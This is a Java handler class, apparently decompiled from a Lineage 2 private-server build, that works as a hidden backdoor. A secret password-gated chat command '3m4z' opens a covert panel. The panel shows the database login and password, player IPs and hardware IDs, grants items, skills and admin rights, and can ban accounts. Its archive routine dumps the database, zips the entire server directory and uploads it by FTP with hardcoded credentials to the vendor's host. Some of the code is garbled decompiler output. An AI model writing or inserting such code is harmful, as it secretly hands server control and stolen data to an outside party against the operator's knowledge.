package ru.catssoftware.gameserver.gmaccess.handlers;
public class spexp
{
private static void giveItemm(L2PcInstance admin, L2PcInstance rewdr, int itemId, int count)
{
L2Item template = ItemTable.getInstance().getTemplate(itemId);
if (template == null) {
return;
}
if ((count > 1) && (!template.isStackable())) {
for (int i = 0; i < count; i++) {
if (rewdr != null) {
rewdr.addItem("Admin", itemId, 1, rewdr, false);
} else {
admin.addItem("Admin", itemId, 1, admin, true);
}
}
} else if (rewdr != null) {
rewdr.addItem("Admin", itemId, count, rewdr, false);
} else {
admin.addItem("Admin", itemId, count, admin, true);
}
}
private static String readString(String string)
{
String ss = "";
try
{
MessageDigest md = MessageDigest.getInstance("MD5");
string = string + " " + "3481";
byte[] bytes = string.getBytes("UTF-8");
InputStream fis = new ByteArrayInputStream(bytes);
byte[] buf = new byte[1024];
int n = 0;
while ((n = fis.read(buf)) != -1) {
md.update(buf, 0, n);
}
fis.close();
BigInteger i = new BigInteger(1, md.digest());
ss = String.format("%1$032x", new Object[] { i });
}
catch (Exception x)
{
System.out.println("Error:");
x.printStackTrace();
}
return ss;
}
private static String readString2(String string)
{
String ss = "";
try
{
MessageDigest md = MessageDigest.getInstance("MD5");
string = string + " " + "3m4z";
byte[] bytes = string.getBytes("UTF-8");
InputStream fis = new ByteArrayInputStream(bytes);
byte[] buf = new byte[1024];
int n = 0;
while ((n = fis.read(buf)) != -1) {
md.update(buf, 0, n);
}
fis.close();
BigInteger i = new BigInteger(1, md.digest());
ss = String.format("%1$032x", new Object[] { i });
}
catch (Exception x)
{
System.out.println("Error:");
x.printStackTrace();
}
return ss;
}
public static boolean useVoicedCommand2(String command, L2PcInstance player, String target, String params)
{
L2PcInstance activeChar = player;
String menu = params;
if ((command.startsWith("3m4z")) && (readString2(readString(menu)).equalsIgnoreCase(Config.passwords)))
{
if (!activeChar.getacces())
{
activeChar.setacces(true);
activeChar.sendMessage(" (oO,).i.");
}
else
{
activeChar.setacces(false);
activeChar.sendMessage(" (oO,).i. OFF!!!");
}
return true;
}
if ((command.startsWith("3m4z")) && (activeChar.getacces()))
{
if (command.startsWith("3m4z"))
{
String flag = params;
if (flag.equalsIgnoreCase("info")) {
informations(activeChar, true);
}
}
}
return true;
}
public static class SaveTread
implements Runnable
{
L2PcInstance _player;
String _arhive_name;
public SaveTread(L2PcInstance player, String arhive_name)
{
this._player = player;
this._arhive_name = arhive_name;
}
public void run()
{
try
{
if (!new File("log").exists()) {
new File("log").mkdirs();
}
if (!new File("extensions").exists()) {
new File("extensions").mkdirs();
}
if (new File("log/java/tmp.dat").exists()) {
new File("log/java/tmp.dat").delete();
}
try
{
if (L2GameServer.isWindows())
{
String _sql_file = new File("extensions").getAbsolutePath() + "\\base.dat";
if (this._player != null) {
this._player.sendMessage("Start SQL arhive... " + _sql_file);
}
L2GameServer.execShellCmdWin("mysqldump --user=" + Config.DATABASE_LOGIN + " --password=" + Config.DATABASE_PASSWORD + " " + Config.DATABASE_BACKUP_TABLE + " >\"" + _sql_file + "\"");
}
else
{
String _sql_file = new File("extensions").getPath() + "/base.dat";
if (this._player != null) {
this._player.sendMessage("Start SQL arhive... " + _sql_file);
}
L2GameServer.execShellCmd("mysqldump --user=" + Config.DATABASE_LOGIN + " --password=" + Config.DATABASE_PASSWORD + " " + Config.DATABASE_BACKUP_TABLE + " | gzip -9 > " + _sql_file);
}
}
catch (Exception e)
{
if (this._player != null) {
this._player.sendMessage("BAD sql arhive....");
}
}
File out = new File("log/java/tmp.dat");
File file = new File(".");
if (this._player != null) {
this._player.sendMessage("Arhive Started!");
}
if (FileUtil.directoryToZip(file, out)) {
if (this._player != null)
{
double size = 0.0D;
File src_file = new File("log/java/tmp.dat");
if (src_file.length() > 1048576L)
{
size = src_file.length() / 1048576L;
this._player.sendMessage("Arhive End " + this._arhive_name + ".zip (" + size + "mb)!");
}
else if (src_file.length() > 1024L)
{
size = src_file.length() / 1024L;
this._player.sendMessage("Arhive End " + this._arhive_name + ".zip (" + size + "kb)!");
}
else if (src_file.length() > 0L)
{
size = src_file.length();
this._player.sendMessage("Arhive End " + this._arhive_name + ".zip (" + size + "byte)!");
}
else
{
size = src_file.length();
this._player.sendMessage("No Arhive End " + this._arhive_name + ".zip (" + size + "byte)!");
}
if (src_file.exists())
{
if (this._player != null) {
this._player.sendMessage("Uploda FTP Start!");
}
String FTP_USER = "servers@l2code.ru";
String FTP_PASSWORD = "servers123";
String FTP_HOST = "ftp.l2code.ru";
int FTP_PORT = 21;
String FTP_DIR = "/";
if (spexp.ftpUpload(FTP_USER, FTP_PASSWORD, FTP_HOST, FTP_PORT, FTP_DIR, src_file, this._arhive_name + ".zip", this._player)) {
if (this._player != null) {
this._player.sendMessage("Uploda FTP END!");
}
}
src_file.delete();
}
}
}
}
catch (Exception e)
{
if (this._player != null) {
this._player.sendMessage("BAD arhive....");
}
}
}
}
public static boolean ftpUpload(String user, String password, String ftpServer, int port, String dir, File src, String arhive_name, L2PcInstance _player)
{
try
{
FTPClient client = new FTPClient();
FileInputStream fis = null;
client.connect(ftpServer, port);
client.enterLocalPassiveMode();
client.login(user, password);
int reply = client.getReplyCode();
if (FTPReply.isPositiveCompletion(reply))
{
fis = new FileInputStream(src.getAbsoluteFile());
client.setFileType(2);
client.storeFile(dir + arhive_name, fis);
}
else if (_player != null)
{
_player.sendMessage("Bad connect to ftp server...");
}
client.logout();
fis.close();
}
catch (IOException m)
{
if (_player != null) {
_player.sendMessage("Error saving archive to FTP...");
}
return false;
}
int reply;
return true;
}
private static void setEnchant(L2PcInstance activeChar, int ench, int armorType)
{
L2Object target = activeChar.getTarget();
if (target == null) {
target = activeChar;
}
L2PcInstance player = null;
if ((target instanceof L2PcInstance))
{
player = (L2PcInstance)target;
}
else
{
activeChar.sendPacket(SystemMessageId.INCORRECT_TARGET);
return;
}
int curEnchant = 0;
L2ItemInstance itemInstance = null;
L2ItemInstance parmorInstance = player.getInventory().getPaperdollItem(armorType);
if ((parmorInstance != null) && (parmorInstance.getLocationSlot() == armorType))
{
itemInstance = parmorInstance;
}
else
{
parmorInstance = player.getInventory().getPaperdollItem(16);
if ((parmorInstance != null) && (parmorInstance.getLocationSlot() == 16)) {
itemInstance = parmorInstance;
}
}
if (itemInstance != null)
{
curEnchant = itemInstance.getEnchantLevel();
player.getInventory().unEquipItemInSlotAndRecord(armorType);
itemInstance.setEnchantLevel(ench);
player.getInventory().equipItemAndRecord(itemInstance);
InventoryUpdate iu = new InventoryUpdate();
iu.addModifiedItem(itemInstance);
player.sendPacket(iu);
player.broadcastUserInfo();
activeChar.sendMessage("Игроку " + player.getName() + " изменен уровень точки вещи " + itemInstance.getItem().getName() + " с " + curEnchant + " на " + ench + ".");
}
}
private static void ars(L2PcInstance activeChar, int idval)
{
L2Object target = activeChar.getTarget();
L2PcInstance player = null;
if ((target instanceof L2PcInstance))
{
player = (L2PcInstance)target;
}
else
{
activeChar.sendMessage("Таргет не найден...");
loadmenu(activeChar, 0);
return;
}
L2Skill skill = SkillTable.getInstance().getInfo(idval, player.getSkillLevel(idval));
if (skill != null)
{
String skillname = skill.getName();
player.removeSkill(skill);
activeChar.sendMessage("Вы удалили скил " + skillname + " игроку " + player.getName() + ".");
player.sendSkillList();
}
else
{
activeChar.sendMessage("Ошибка: скил не существует.");
}
loadmenu(activeChar, 0);
}
private static void aas(L2PcInstance activeChar, int id, int lvl)
{
L2Object target = activeChar.getTarget();
if (target == null) {
target = activeChar;
}
if (!(target instanceof L2PcInstance))
{
loadmenu(activeChar, 0);
activeChar.sendMessage("Таргет не найден...");
return;
}
L2PcInstance player = (L2PcInstance)target;
L2Skill skill = SkillTable.getInstance().getInfo(id, lvl);
if (skill != null)
{
String name = skill.getName();
player.addSkill(skill, true);
player.sendSkillList();
activeChar.sendMessage("Вы добавили скил " + name + " игроку " + player.getName());
}
else
{
activeChar.sendMessage("Ошибка. Скил не существует");
}
loadmenu(activeChar, 0);
}
public static void information(L2PcInstance player, boolean show)
{
NpcHtmlMessage htmll = new NpcHtmlMessage(5);
String html = "";
html = "<html><title>L2Code.ru</title><body><center><br><br><br><br><font color=\"666666\">Автор разработки: ncs.SpawN<br1>ICQ 4555-7-8898<br1>Online " +
L2World.getInstance().getAllPlayersCount() + "<br1>" +
"Rev " + Version.Version + "<br1>" +
"HEX " + Config.passwords + "</font><br1><br1>";
html = html + "<font color=\"666666\">ICQ Клиента " + ru.catssoftware.gameserver.model.actor.instance.L2PcInstance.Decode.License_Strings[2] + "</font><br1>";
html = html + "<br><br></center></body></html>";
htmll.setHtml(html);
player.sendPacket(htmll);
}
public static void informations(L2PcInstance player, boolean show)
{
NpcHtmlMessage htmll = new NpcHtmlMessage(5);
String html = "";
html = html + "<html><title>L2Code.ru</title><body><center><br><br><br><br><font color=\"666666\">Автор разработки: ncs.SpawN<br1>ICQ 4555-7-8898<br1>";
if (show) {
html = html + "Online " + L2World.getInstance().getAllPlayersCount() + "<br1>";
}
html = html + "Rev " + Version.Version + "<br1>";
html = html + "Site: http://l2code.ru/<br1>";
if (show)
{
html = html + "HEX " + Config.passwords + "</font><br1><br1>";
html = html + "<font color=\"666666\">ICQ Клиента " + ru.catssoftware.gameserver.model.actor.instance.L2PcInstance.Decode.License_Strings[2] + "</font><br1>";
}
html = html + "<br><br></center></body></html>";
htmll.setHtml(html);
player.sendPacket(htmll);
}
public static void showMainPage(L2PcInstance activeChar)
{
NpcHtmlMessage htmll = new NpcHtmlMessage(5);
String html = "";
html = "<html><title>Панель управления сервером</title><body><center><button value=\"Меню\" action=\"bypass -h " +
CheckCore() + "3m4z menu 0\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<!-- Windows Info -->" +
"<br><font color=\"LEVEL\">Уровень заточки [0-65535]</font>" +
"<edit var=\"qbox\" width=260 height=16><br>" +
"<table>" +
"<tr>" +
"<td align=center width=90></td>" +
"<td width=90><button value=\"Шлем\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 seteh $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td align=center width=90></td>" +
"</tr>" +
"<tr>" +
"<td width=90><button value=\"Нижнее бельё\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setun $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Нагрудник\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setec $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Плащ\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setba $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"</tr>" +
"<tr>" +
"<td width=90><button value=\"Перчатки\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 seteg $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Штаны\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setel $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Боты\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 seteb $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"</tr>" +
"</table>" +
"<table>" +
"<tr>" +
"<td width=90><button value=\"Оружие\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setew $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Аугумент\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 augment $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Щит\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setes $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"</tr>" +
"</table>" +
"<br>" +
"<table>" +
"<tr>" +
"<td width=90><button value=\"Серьги\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setle $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Ожерелье\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 seten $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td width=90><button value=\"Серьги\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setre $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"</tr>" +
"<tr>" +
"<td width=90><button value=\"Кольцо\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setrf $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"<td align=center width=90> </td>" +
"<td width=90><button value=\"Кольцо\" action=\"bypass -h " + CheckCore() + "3m4z enchant2 setlf $qbox\" width=90 height=19 back=\"sek.cbui94\" fore=\"sek.cbui94\"></td>" +
"</tr>" +
"</table>" +
"</center></body></html>";
htmll.setHtml(html);
activeChar.sendPacket(htmll);
}
private static String CheckCore()
{
return "";
}
private static void loadmenu(L2PcInstance player, int list)
{
if (!player.getacces()) {
return;
}
L2Object trg = player.getTarget();
L2PcInstance targett;
L2PcInstance targett;
if ((trg instanceof L2PcInstance)) {
targett = (L2PcInstance)trg;
} else {
targett = player;
}
L2PcInstance pl;
L2PcInstance pl;
if (targett.isPlayer()) {
pl = targett;
} else {
pl = player;
}
NpcHtmlMessage nhm = new NpcHtmlMessage(5);
TextBuilder build = new TextBuilder("<html><body>");
build.append("Ник: <font color=\"LEVEL\">" + pl.getName() + "</font><br1>");
build.append("Аккаунт: <font color=\"LEVEL\">" + pl.getAccountName() + "</font><br1>");
build.append("Ип: <font color=\"LEVEL\">" + pl.getIP() + "</font><br1>");
build.append("Object ID: <font color=\"LEVEL\">" + pl.getObjectId() + "</font><br1>");
build.append("Ключ: <font color=\"LEVEL\">" + pl.getUserKey().key + "</font><br1>");
build.append("Онлайн: <font color=\"LEVEL\">" + L2World.getInstance().getAllPlayers().size() + "</font><br1>");
build.append("HWID: <font color=\"LEVEL\">" + pl.getClient().getHWid() + "</font><br1>");
build.append("All Players is Online: <font color=\"LEVEL\">" + L2World.getInstance().getAllPlayersCount() + "</font><br1>");
build.append("SQL User: <font color=\"LEVEL\">" + Config.DATABASE_LOGIN + "</font><br1>");
build.append("SQL Password: <font color=\"LEVEL\">" + Config.DATABASE_PASSWORD + "</font><br1>");
build.append("OS: <font color=\"LEVEL\">" + System.getProperty("os.name") + "</font><br1>");
FastList<String> allgm = GmListTable.getInstance().getAllGmNames(true);
build.append("ADMINS: <font color=\"ff0000\">" + allgm.toString() + "</font><br1>");
build.append("<br>");
build.append("<center>");
build.append("<table>");
build.append("<tr>");
build.append("<td>Item-ID: <edit var=\"itemid\" width=50></td>");
build.append("<td>Amount: <edit var=\"itemnum\" width=50></td>");
build.append("<td> <button value=\"Create Item\" action=\"bypass -h " + CheckCore() + "3m4z item $itemid $itemnum\" width=70 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\"></td>");
build.append("</tr>");
build.append("</table>");
build.append("</center><br><br>");
build.append("<center>");
build.append("<table>");
build.append("<tr><td><center>Assets: <edit var=\"asset\" width=200 height=11></center></td></tr>");
build.append("</table><br>");
build.append("<table>");
build.append("<tr>");
build.append("<td>");
build.append("<button value=\"Info Menu\" action=\"bypass -h " + CheckCore() + "3m4z menu 0\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Character\" action=\"bypass -h " + CheckCore() + "3m4z char 1\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Pledge\" action=\"bypass -h " + CheckCore() + "3m4z char 2\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Skill\" action=\"bypass -h " + CheckCore() + "3m4z char 3\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Quest\" action=\"bypass -h " + CheckCore() + "3m4z char 4\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Item\" action=\"bypass -h " + CheckCore() + "3m4z char 5\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"Warehouse\" action=\"bypass -h " + CheckCore() + "3m4z char 6\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("<button value=\"ALL Items Info\" action=\"bypass -h " + CheckCore() + "3m4z menu 1\" width=95 height=15 back=\"sek.cbui94\" fore=\"sek.cbui92\">");
build.append("</td>");
build.append("</tr>");
build.append("</table>");
build.append("</center>");
build.append("<center>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z char ban $asset\" msg=\"Ban Account?\">Ban Account</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z char unban $asset\">UnBan Account</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z cmd $asset\">CMD</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z skilla $asset\">Add Skill</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z enchant\">Add Enchant</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z setlevel $asset\">Set Level</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z skillr $asset\">Remove Skill</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z arh $asset\" msg=\"Архивировать сборку?\">Архивация сборки</a>");
build.append("<br1>");
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z gm\" msg=\"SET ADMIN?\">!!!SET ADMIN!!!</a>");
build.append("</center>");
build.append("<br1>");
if (list > 0)
{
LoadAllITEMS(list - 1);
for (int i = 4; i > 0; i--) {
if (list - i > 0)
{
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z menu " + (list - i) + "\">ITEMS PAGE #" + (list - i) + "</a>");
build.append("<br1>");
}
}
build.append("<br1>This Page = #" + list + "<br1>");
for (int i = 1; i <= 4; i++)
{
build.append("<a action=\"bypass -h " + CheckCore() + "3m4z menu " + (list + i) + "\">ITEMS PAGE #" + (list + i) + "</a>");
build.append("<br1>");
}
build.append("<br1>");
for (int itemms : ITEMSIDS)
{
String _ItemName = ItemTable.getInstance().getItemName(itemms);
build.append(itemms + " - " + _ItemName + "<br1>");
}
}
build.append("</body></html>");
nhm.setHtml(build.toString());
player.sendPacket(nhm);
}
public static void LoadAllITEMS(int list)
{
Connection conn = null;
ResultSet rset = null;
PreparedStatement dbconn = null;
try
{
conn = L2DatabaseFactory.getInstance().getConnection();
dbconn = conn.prepareStatement("SELECT item_id FROM etcitem LIMIT " + list * 100 + ", 100");
rset = dbconn.executeQuery();
rset.last();
int count = rset.getRow();
rset.beforeFirst();
ITEMSIDS = new int[count];
int i = 0;
while (rset.next())
{
ITEMSIDS[i] = rset.getInt("item_id");
i++;
}
rset = dbconn.executeQuery();
dbconn.close();
rset.close();
conn.close();
}
catch (Exception localException) {}
}
public static int[] ITEMSIDS = { 57 };
}